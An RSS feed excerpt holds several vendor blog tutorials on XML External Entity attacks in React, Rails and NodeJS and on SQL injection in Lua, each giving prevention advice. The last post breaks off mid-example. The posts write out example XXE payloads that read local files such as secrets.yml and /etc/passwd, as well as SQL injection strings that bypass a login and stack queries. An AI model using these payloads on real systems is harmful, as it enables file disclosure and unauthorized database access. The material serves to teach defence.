isPermaLink="false">https://www.stackhawk.com/lp/react-xml-external-entities-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;The purpose of this article is to serve as a guide for and to provide examples of XML External Entities vulnerabilities for the React tech stack and the potential impact it can have on your security. We&amp;#39;ll address the following topics: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;What XML External Entities are&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;How to spot them on your platform&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;What mitigation techniques you can use against them&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;What tools you can leverage to improve your security&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;It&amp;#39;s crucial to emphasize that we will be exploring XML External Entity attacks in the context of the React development stack. So, to get the most out of this article, you need experience with JavaScript and the React platform.&lt;/p&gt;&lt;h2&gt;What Are XML External Entities?&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s start by explaining what XML External Entities are. &lt;/p&gt;&lt;p&gt;XML, or &lt;a href=&quot;https://en.wikipedia.org/wiki/XML&quot;&gt;&lt;u&gt;Extensible Markup Language&lt;/u&gt;&lt;/a&gt;, is a markup language and file format for storing, transmitting, and reconstructing arbitrary data. In addition, this language is used in the programming world to define rules for encoding documents in a format that is both human-readable and machine-readable. &lt;/p&gt;&lt;p&gt;Alright then, but how can a file structure become a threat to your application? &lt;/p&gt;&lt;p&gt;By default, XML processing tools allow the specification of an external entity, a URI, retrieved and processed during the XML file parsing. In the process of file parsing, XML processing code can retrieve these external entities without validation. Attackers can circumvent your security measures by requesting and embedding the content on the specified external entity inside the XML document. This is essentially an open back door. An attacker could leverage this property as an avenue to retrieve any resource. &lt;/p&gt;&lt;p&gt;In a nutshell, an XML External Entities attack, or XXE injection, is an attack that takes advantage of XML parsing vulnerabilities. It targets systems that use XML parsing functionalities that face the user and allow an attacker to access files and resources on the server. XXE injection attacks can include disclosing local files containing sensitive data, such as passwords or private user data using file: schemes or relative paths in the system identifier. &lt;/p&gt;&lt;p&gt;In essence, this vulnerability could render your server insecure given enough persistence and time. &lt;/p&gt;&lt;h2&gt;Looking for XML External Entities&lt;/h2&gt;&lt;p&gt;The following example is a bare-bones XML document containing an item XML element. &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;item id=&amp;quot;1&amp;quot;&amp;gt;
    &amp;lt;title&amp;gt;Toilet Paper&amp;lt;/title&amp;gt;
&amp;lt;/item&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Great, but where&amp;#39;s the external entity? &lt;/p&gt;&lt;p&gt;You would represent an external entity by using a system identifier within a DOCTYPE header. &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;!ENTITY xxe SYSTEM &amp;quot;https://www.google.com&amp;quot; &amp;gt;]&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The purpose of this header is to add more properties to the XML data structure. To illustrate this further, the code below contains an external XML entity that would try to compromise a potentially perpetual file. &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///gkr/rand&amp;quot; &amp;gt;]&amp;gt;
&amp;lt;item id=&amp;quot;1&amp;quot;&amp;gt;
    &amp;lt;title&amp;gt;&amp;amp;xxe;&amp;lt;/title&amp;gt;
&amp;lt;/item&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This attack would result in a denial of service (DoS) attack and bring your server to its knees. Yikes! &lt;/p&gt;&lt;p&gt;As we&amp;#39;ve mentioned in other articles, these entities can access local or remote content, so you need to protect the sensitive files on the server. &lt;/p&gt;&lt;p&gt;By not doing so, you could potentially provide an attacker with a way to gain control of your website. Game over. By no means is this a thorough explanation of XML External Entities or XXE attacks. Exploring all the complexities of this vulnerability is beyond the scope of this article. &lt;/p&gt;&lt;h2&gt;A Simple Way to Mitigate React XML External Entities&lt;/h2&gt;&lt;p&gt;Alright, now to the practical part: how can you fix this mess? &lt;/p&gt;&lt;p&gt;Thankfully, most of the work has already been done for you. &lt;/p&gt;&lt;p&gt;As a quick refresher, and for the sake of brevity, I&amp;#39;ll briefly refer to a previous article on the recommended approach to take. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Generally, as long as you are not intentionally trying to open a window for the vulnerability and consider that you need the functionality of loading user-provided XML files, you don&amp;#39;t have to worry much about this issue. &lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Let&amp;#39;s illustrate. &lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;As we have mentioned, if an application has an endpoint that parses XML files, an attacker could send a specially crafted payload to the server and obtain sensitive files. The files the attacker can get depend heavily on how you set up your system and how you implement user permissions. &lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;So, to prevent this situation from playing out, first, don&amp;#39;t use libraries that support entity replacement.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Luckily, JavaScript has no popular XML parsing libraries with such a problem. &lt;/p&gt;&lt;p&gt;Generally, you have done most of the work as long as you keep your libraries updated. Your application is likely implementing react-xml-parser, which already comes with protections against this vulnerability. Additionally, for most libraries, external entities are disabled by default. &lt;/p&gt;&lt;p&gt;A straightforward example of a protected implementation on React would be the following: &lt;/p&gt;&lt;p&gt;&lt;code&gt;var XMLParser = require(&amp;#39;react-xml-parser&amp;#39;);
var xml = new XMLParser().parseFromString(xml_text);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;console.log(xml);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Additionally, if your platform does require the use of external entities, you can safelist known external entities to minimize the potential for exploits. &lt;/p&gt;&lt;h3&gt;Other Strategies&lt;/h3&gt;&lt;p&gt;Here are some other strategies you can take to mitigate XXE Injection attacks: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Use simpler data formats like JSON and avoid serialization of sensitive data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Patch or upgrade all XML processing code and libraries in your application.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Verify that XML file upload validates incoming XML using XSD validation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Update SOAP to SOAP 1.2 or higher.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use SAST tools to help detect XXE in source code.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Finally, as a rule of thumb, do not implement the processing of XML unless it&amp;#39;s an application requirement. There are numerous ways to offer similar features without opening your application to threats. &lt;/p&gt;&lt;p&gt;The most practical mitigation approach to vulnerabilities is to not be open to them in the first place.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;What Now?&lt;/h2&gt;&lt;p&gt;Providing robust and secure services is becoming more and more complicated. Projects of that caliber now require a significant investment of time and extensive expertise. And your organization might not be able to afford it. &lt;/p&gt;&lt;p&gt;If you&amp;#39;re responsible for a team of competent and productive members focused on delivering speedy and innovative solutions, we recommend our Dynamic Application Security Testing (DAST) suite. Our DAST tool tests a running version of your application to identify potential security vulnerabilities. This will provide real-time, reliable, and detailed reports of the security status of your platform. Our product ensures that you get the best insight and tools to provide reliable decision-making information so that you can go back to focusing on your work. &lt;/p&gt;&lt;p&gt;You can check it out &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Lua SQL Injection Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/lua-sql-injection-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Lua is a language that has possible applications in almost every task. Lua is a multiplatform scripting language while also being a compiled language; it&amp;#39;s also relatively fast and lightweight. This helps with its growing roots in embedded systems development. As Lua is fast, small, and low-power consuming, it&amp;#39;s a ticket you must have in this area. However, the growing popularity of Lua makes it a target for potential cyberattacks, especially when attackers target embedded devices.&lt;/p&gt;&lt;p&gt;This post will explore how vulnerable Lua applications are to a web attack called SQL injection. But don&amp;#39;t worry! We can continue developing in Lua because we&amp;#39;ll show the various methods of SQL injection to look out for and specific ways that help with avoiding this attack in Lua code.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s take a step back before we go through the various possibilities of preventing SQL injections with Lua code. Why don&amp;#39;t we first take a look at what SQL injections are overall?&lt;/p&gt;&lt;h2&gt;What Is a SQL Injection?&lt;/h2&gt;&lt;p&gt;The very first concept every developer exposing software in a network should know about is to never trust users&amp;#39; input. The whole concept of a&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt; &lt;u&gt;SQL injection&lt;/u&gt;&lt;/a&gt; attack is based on the idea of bad input that hasn&amp;#39;t been properly sanitized. When an attacker performs a SQL injection attack successfully, they are able to inject new SQL commands that allow access to the database behind a certain application. The consequences for this are very dangerous. The attacker has the ability to access private data, log in as a certain user, or even log in as the administrator. With this attack, hackers have the ability to delete all your data rather than just steal it.&lt;/p&gt;&lt;h2&gt;Examples of SQL Injections&lt;/h2&gt;&lt;p&gt;The most common way to perform a SQL injection is to put the malicious input containing SQL commands as user input. Examples of where this can happen are anywhere the user can write something, like forms. The fields in a form, where the user has to write usernames, emails, personal data, and so on, can be used to perform a SQL statement. As we talked about just before, the whole concept of SQL injection is valid if the input is not sanitized before. Once you filter out malicious input, the attacker might have their hands tied.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s take, for example, a form where the user must insert a username and password to log in to a web application.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Input form.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;With this input form, the developer would just perform the simple SQL query in order to check whether a user with this username and password is present or not.&lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT * FROM Users WHERE username=&amp;#39;s.zanero&amp;#39; AND password=&amp;#39;s3cr3t!&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In this way, the SQL query will run just fine, and the malicious intent is present in the user input.&lt;/p&gt;&lt;p&gt;Consider instead this type of form filling.&lt;/p&gt;&lt;p&gt;&lt;i&gt;SQL injection.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;The query for checking login information will execute without anyone controlling the input parameters. And it will drastically change the intended behavior.&lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT * FROM Users WHERE username=&amp;#39;&amp;#39; OR &amp;#39;1&amp;#39;=&amp;#39;1&amp;#39;;-- AND password=&amp;#39;&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;As you can see, this query gets executed, and the second part of the injected OR is always true given that the remaining original query gets commented out. The resulting query will return all rows, which will, of course, be at least one: the attacker will successfully access the system.&lt;/p&gt;&lt;p&gt;If you sanitize your input through some simple allowlisting techniques, this attack won&amp;#39;t happen. The article &amp;quot;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;u&gt;What is SQL Injection?&amp;quot;&lt;/u&gt;&lt;/a&gt; explores SQL injections more in depth, showing the different types of SQL injections, including the ways to not just gain access to but also change the content of the victim&amp;#39;s database.&lt;/p&gt;&lt;h2&gt;Avoiding SQL Injections in Lua&lt;/h2&gt;&lt;p&gt;In Lua, there are two main ways to access and interact with databases:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;By using the common LuaSQL library, which enables you to connect to and perform SQL statements with various databases such as Oracle, MySQL, SQLite, PostgreSQL, and so on&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;With mod_lua, which has its own built-in database API for running commands on MySQL, PostgreSQL, SQLite, Oracle, and other databases&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;However, we&amp;#39;re not here to discuss the best method you can use to connect to a database. Whichever you choose, the most important thing about preventing SQL injection will always be to validate and sanitize user input.&lt;/p&gt;&lt;p&gt;In order to validate and sanitize user input, the first big recommendation for both Lua and all the other programming languages is to make use of prepared statements. And you should use prepared statements wherever you can in order to drastically reduce the possibility of SQL injection attacks.&lt;/p&gt;&lt;p&gt;In the below code example, we see where there are vulnerabilities for potential SQL injection attacks.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The attacker can add any kind of input even if we&amp;#39;re string formatting the input. The SQL query isn&amp;#39;t safe against malicious input present in the username field where the user writes their input. The returned cursor will contain various results, which will enable the attacker to get access.&lt;/p&gt;&lt;p&gt;One way to prevent such a condition is the use of prepared statements.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;When using prepared statements, we&amp;#39;re exploiting a two-phase sending technique. We&amp;#39;re sending the first query request without the data, as shown below:&lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT * FROM Users WHERE username = ? and password = ?&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;After that, we&amp;#39;ll send a second request involving the actual data to be placed for the requested fields. In this way, we&amp;#39;re avoiding any issues regarding data literals containing potential SQL injection attacks. By doing this, we&amp;#39;ve secured the DBMS against malicious input inserted in the input data.&lt;/p&gt;&lt;p&gt;&lt;code&gt;cur = stmt:execute(p.username, p.password)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Unfortunately, prepared statements don&amp;#39;t solve all the problems.&lt;/p&gt;&lt;p&gt;There are SQL injections where the input has to go through an allowlist process before you can use it for executing a SQL statement. Without going off topic, you can find more about what prepared statements can cover&lt;a href=&quot;https://stackoverflow.com/questions/8263371/how-can-prepared-statements-protect-from-sql-injection-attacks&quot;&gt; &lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Allowlisting in Lua&lt;/h3&gt;&lt;p&gt;Here, we&amp;#39;ll show how to allowlist user input in Lua in order to prevent further SQL injection attacks. This is because prepared statements can protect only &lt;i&gt;data literals&lt;/i&gt;, but they can&amp;#39;t protect against attacks in any other query parts.&lt;/p&gt;&lt;p&gt;That happens when your query is dynamic with respect to an identifier in the query or with a syntax keyword. In such cases, allowlisting together with prepared statements offer the maximum protection against SQL injections.&lt;/p&gt;&lt;p&gt;We can see an example below of a query where an identifier, which is not a data literal, is in a more dynamic query:&lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT * FROM Data ORDER BY &amp;lt;something&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In such a case, the &lt;b&gt;ORDER BY&lt;/b&gt; clause is filled with an identifier. This is exploitable for further misuses. One example can be the further insertion of data:&lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT * FROM Data ORDER BY ID;INSERT INTO Data VALUES (...)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;When you don&amp;#39;t allowlist the dynamic identifier, a hacker can exploit this security issue in order to perform other operations on the database. That&amp;#39;s just an insertion. What if someone decides to drop an entire table? The risks associated with not allowlisting your user input are pretty high.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s see an example on how to perform allowlisting in Lua. Here we&amp;#39;ll be using &lt;b&gt;regex&lt;/b&gt;. It will enable you to allowlist the user input with regards to a login field for an email address.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Are We Secure Now?&lt;/h2&gt;&lt;p&gt;We have arrived at the conclusion of our journey on how to shield against SQL injection attacks in Lua. Are we really secure now? Against direct SQL injection attacks, yes, we are. But there are other potential vulnerabilities you have to cover in order to develop a secure software. The main lesson here is that security must always be a part of the software engineering process. And that security must be independent from the language that you&amp;#39;ll use and where you&amp;#39;re developing.&lt;/p&gt;&lt;p&gt;Anything can be a target for potential attacks if you don&amp;#39;t pay the necessary attention to preventing such things from happening. That&amp;#39;s exactly the reason for this article! To provide support for Lua developers in creating more secure code. Especially when the main usage of Lua is in embedded systems, which can contain quite sensitive information. You must do whatever you can to protect yourself from SQL injections.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Daniele Comi. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/daniele-comi-05886981/&quot;&gt;&lt;i&gt;Daniele&lt;/i&gt;&lt;/a&gt;&lt;i&gt; graduated with an M.Sc. in Computer Science Engineering, specializing in artificial intelligence and machine learning. His research interest is privacy-preserving deep learning models using homomorphic encryption schemes. He&amp;#39;s currently developing new skills in the deep learning field while developing software for AI-related projects.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rails XML External Entities (XXE) Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rails-xml-external-entities-xxe-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In this article, we will address the subject of XML External Entities. We&amp;#39;ll briefly define what XML External Entities are, show you how to spot them, and demonstrate how to protect Ruby on Rails applications against this vulnerability. Additionally, we will examine the common errors you might encounter while implementing mitigation tactics and help you address them accordingly. &lt;/p&gt;&lt;p&gt;If you happen to have no experience developing in Ruby on Rails or you&amp;#39;re just testing the waters, we strongly recommend you take some time to explore &lt;a href=&quot;https://rubyonrails.org/&quot;&gt;&lt;u&gt;this article&lt;/u&gt;&lt;/a&gt; and get acquainted with it.&lt;/p&gt;&lt;p&gt;We&amp;#39;ll address some features that might not be immediately clear unless you have some background in Rails. &lt;/p&gt;&lt;h2&gt;What Are XML External Entities?&lt;/h2&gt;&lt;p&gt;XML, or Extensible Markup Language, is a markup language and file format for storing, transmitting, and reconstructing arbitrary data. This language is used in the programming world to define rules for encoding documents in a format that is both human-readable and machine-readable. How is this file structure vulnerable to attacks, and why does it pose a threat to your system? By default, most XML processing tools allow the specification of an external entity, a URI, that is retrieved and processed during the parsing of the XML file. When this happens, the parser can request and include the content at the specified URI inside the XML document. &lt;/p&gt;&lt;p&gt;This vulnerability opens up the system for exploitation. A malicious actor, for example, could use this property as an avenue to retrieve any resource on the server. &lt;/p&gt;&lt;p&gt;An XXE (XML External Entities) injection is an attack that takes advantage of XML parsing vulnerabilities. It targets systems that use XML parsing functionalities that face the user and allow an attacker to access files and resources on the server. Attacks can include disclosing local files that contain sensitive data, such as passwords or private user data and using file: schemes or relative paths in the system identifier. &lt;/p&gt;&lt;p&gt;Clearly, a determined attacker could potentially take over your server, especially with a sufficient understanding of server structures and some information about the technology stack you&amp;#39;re using.&lt;/p&gt;&lt;h2&gt;XML External Entities Examples&lt;/h2&gt;&lt;p&gt;Now that we have explained the concepts behind XML External Entities attacks, let&amp;#39;s go over some examples. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s a sample XML document containing a username XML element. &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;
   &amp;lt;username&amp;gt;John&amp;lt;/username&amp;gt;
&amp;lt;/xml&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Pretty harmless and straightforward. Now, how do you add an external entity to your XML? Well, it&amp;#39;s pretty simple.  &lt;/p&gt;&lt;p&gt;An external XML entity can be added using a system identifier within a DOCTYPE header. This directive basically adds a few more properties to the XML file structure. For example, the code below contains an external XML entity that would fetch the content of /secrets.yml and display it to the user rendered by username.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE foo [
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///secrets.yml&amp;quot; &amp;gt;]&amp;gt;
   &amp;lt;username&amp;gt;&amp;amp;xxe;&amp;lt;/username&amp;gt;
&amp;lt;/xml&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;As you can see, these entities can access local or remote content within your server. This is bad news if you keep sensitive files that can provide a path to surrender the control of your whole platform to the attacker. Other XML External Entities attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to denial-of-service (DoS) attacks. &lt;/p&gt;&lt;p&gt;If you&amp;#39;re paying attention, this is when you should sound the alarm and call your security specialists. &lt;/p&gt;&lt;p&gt;This is but a brief explanation of the subject of XML External Entities. By no means does it cover all complexities and intricacies. Protecting your platform against the most sophisticated exploits on the web requires an extensive understanding of the technology and a solid grasp of your platform&amp;#39;s infrastructure. &lt;/p&gt;&lt;p&gt;OK? Moving on. &lt;/p&gt;&lt;h2&gt;Preventing XML External Entities Attacks&lt;/h2&gt;&lt;p&gt;Alright, so how can you prevent your system from falling victim to these malicious attacks and, in the process, not lose your job? &lt;/p&gt;&lt;p&gt;Don&amp;#39;t worry. Mitigating XML External Entities attacks is pretty simple. Generally, as long as you are not intentionally trying to open a window for the vulnerability and taking into account that you need the functionality of loading user-provided XML files, Rails does a great job protecting you. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s illustrate. &lt;/p&gt;&lt;p&gt;As we have mentioned, if an application has an endpoint that parses XML files, an attacker could send a specially crafted payload to the server and obtain sensitive files. The files the attacker can access depend on how you set up your system and how you implement user permissions. &lt;/p&gt;&lt;p&gt;So, to prevent this situation from playing out, first, don&amp;#39;t use libraries that support entity replacement like LibXML. Instead, use the built-in default library included in Rails REXML. &lt;/p&gt;&lt;p&gt;Now, if you are using this library already and changing it isn&amp;#39;t possible, or if a critical library requires this library, make sure that entity replacement is disabled.  &lt;/p&gt;&lt;p&gt;You can do this by simply adding the following code in an initializing file:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Thankfully, new versions of LibXML make it hard to enable entity replacement. However, it&amp;#39;s essential to keep in mind that if you decide to go this route, you may still be vulnerable to a DoS attack when using LibXML. &lt;/p&gt;&lt;p&gt;Now, suppose your application actually makes use of external entities for some critical functionality. In that case, one approach you can take to minimize the potential for exploits is to safelist known external entities. &lt;/p&gt;&lt;p&gt;You can do this simply by checking the XML file document before parsing it with the library for any strings containing any &amp;#39;ENTITY&amp;#39; not on the list. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Nuclear Option&lt;/h3&gt;&lt;p&gt;Finally—and I want to make sure to emphasize this—do not parse XML if it&amp;#39;s not an application requirement. I know it might be convenient and allow the platform to provide convenient features for the users. Still, there are many ways to offer similar functionality without using these libraries. In the end, the best mitigation strategy is to not be vulnerable in any way. &lt;/p&gt;&lt;p&gt;Nowadays, providing robust and secure platforms and services to users is incredibly complex. It demands considerable amounts of work and expertise. This can be taxing on a team that&amp;#39;s laser-focused on productively delivering fast and creative solutions. &lt;/p&gt;&lt;p&gt;So, for these teams, we recommend our Dynamic Application Security Testing suite. Our DAST tool tests a running version of your application to identify potential security vulnerabilities. This will allow you to have real-time, reliable, and detailed reports about the security status of your platform. &lt;/p&gt;&lt;p&gt;You can check it out &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Moving Forward&lt;/h2&gt;&lt;p&gt;At this point, most development kits, packages, and libraries are pretty robust. They have many layers of protection against a myriad of exploits like XXE and others. However, there is always the possibility to unintentionally introduce a vulnerability, compromising your work and your company. Thus, it is essential to keep yourself updated and rely on the fantastic Rails community to expand your options.  &lt;/p&gt;&lt;p&gt;Rails is an approachable and friendly platform for building robust and flexible applications. It makes the work of securing against XXE injection exploits straightforward. No need to fiddle with complicated configurations or risky settings. &lt;/p&gt;&lt;p&gt;If you want to learn more about securing your platform from threats, you can find more articles on our &lt;a href=&quot;https://www.stackhawk.com/blog/&quot;&gt;&lt;u&gt;blog&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Additionally, we would like to remind you to consider our all-encompassing security analysis solution StackHawk for more advanced and robust enterprise-level solutions. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[NodeJS XML External Entities (XXE) Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/nodejs-xml-external-entities-xxe-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Using markup languages like XML and JSON is pretty standard practice on the web. With these technologies, managing and delivering both human-readable and machine-readable data is extremely simple and transparent. Therefore, it&amp;#39;s common to find it on websites and platforms. However, it&amp;#39;s essential to be aware of the potential risks and vulnerabilities that you might bring to your platform by misusing technologies like XML.  &lt;/p&gt;&lt;p&gt;One such vulnerability is XML External Entities. And in this article, we&amp;#39;ll address what they are, show you how to spot the vulnerabilities, and demonstrate how to protect your NodeJS applications against them.  &lt;/p&gt;&lt;p&gt;We want to remind you that if you have no experience working with NodeJS, you might have trouble getting value from this article. Therefore, we strongly suggest you explore &lt;a href=&quot;https://nodejs.dev/en/learn&quot;&gt;&lt;u&gt;this introduction to NodeJS&lt;/u&gt;&lt;/a&gt;. We&amp;#39;ll be discussing some elements that might not be immediately clear unless you have some background in JavaScript and NodeJS. &lt;/p&gt;&lt;p&gt;Now, with that out of the way, let&amp;#39;s jump in. &lt;/p&gt;&lt;h2&gt;Defining XML External Entities&lt;/h2&gt;&lt;p&gt;So, what are XML External Entities?&lt;/p&gt;&lt;p&gt; XML, or &lt;a href=&quot;https://en.m.wikipedia.org/wiki/XML&quot;&gt;&lt;u&gt;Extensible Markup Language&lt;/u&gt;&lt;/a&gt;, is a markup language and file format for storing, transmitting, and reconstructing arbitrary data. In addition, this language is used in the programming world to define rules for encoding documents in a format that is both human-readable and machine-readable. &lt;/p&gt;&lt;p&gt;How does the XML file structure present a vulnerability? By default, most XML processing tools allow the specification of an external entity. This entity, usually a URI, is retrieved and processed during the parsing of the XML file. When this happens, the parser can request and include the content at the specified URI inside the XML document. &lt;/p&gt;&lt;p&gt;This vulnerability opens up the system for exploitation. A malicious actor could use this property as an avenue to retrieve any resource on the server. So, an XML External Entities attack, or XXE injection, takes advantage of XML parsing vulnerabilities. It targets systems that use XML parsing functionalities that face the user, allowing an attacker to access files and resources on the server. &lt;/p&gt;&lt;p&gt;Attacks can include disclosing local files that contain sensitive data, such as passwords or private user data and using file: schemes or relative paths in the system identifier. Clearly, a determined attacker could potentially take over your server, especially with sufficient understanding of &lt;a href=&quot;https://www.stackhawk.com/blog/nodejs-broken-authentication-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;server structures&lt;/u&gt;&lt;/a&gt; and some information about your technology stack. &lt;/p&gt;&lt;h2&gt;Examples of XML External Entities&lt;/h2&gt;&lt;p&gt;Now that you have a basic understanding of XXE injection, let&amp;#39;s go over an example. Here&amp;#39;s a sample XML document containing a username XML element: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;
   &amp;lt;username&amp;gt;John&amp;lt;/username&amp;gt;
&amp;lt;/xml&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Pretty harmless and straightforward, right? Where&amp;#39;s the external entity? &lt;/p&gt;&lt;p&gt;Well, first, an external XML entity can be added using a system identifier within a DOCTYPE header. This header basically adds a few more properties to the XML file structure.  &lt;/p&gt;&lt;p&gt;For example, the code below contains an external XML entity that would fetch the content of /etc/passwrd and display it to the user rendered by username: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE foo [
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwrd&amp;quot; &amp;gt;]&amp;gt;
   &amp;lt;username&amp;gt;&amp;amp;xxe;&amp;lt;/username&amp;gt;
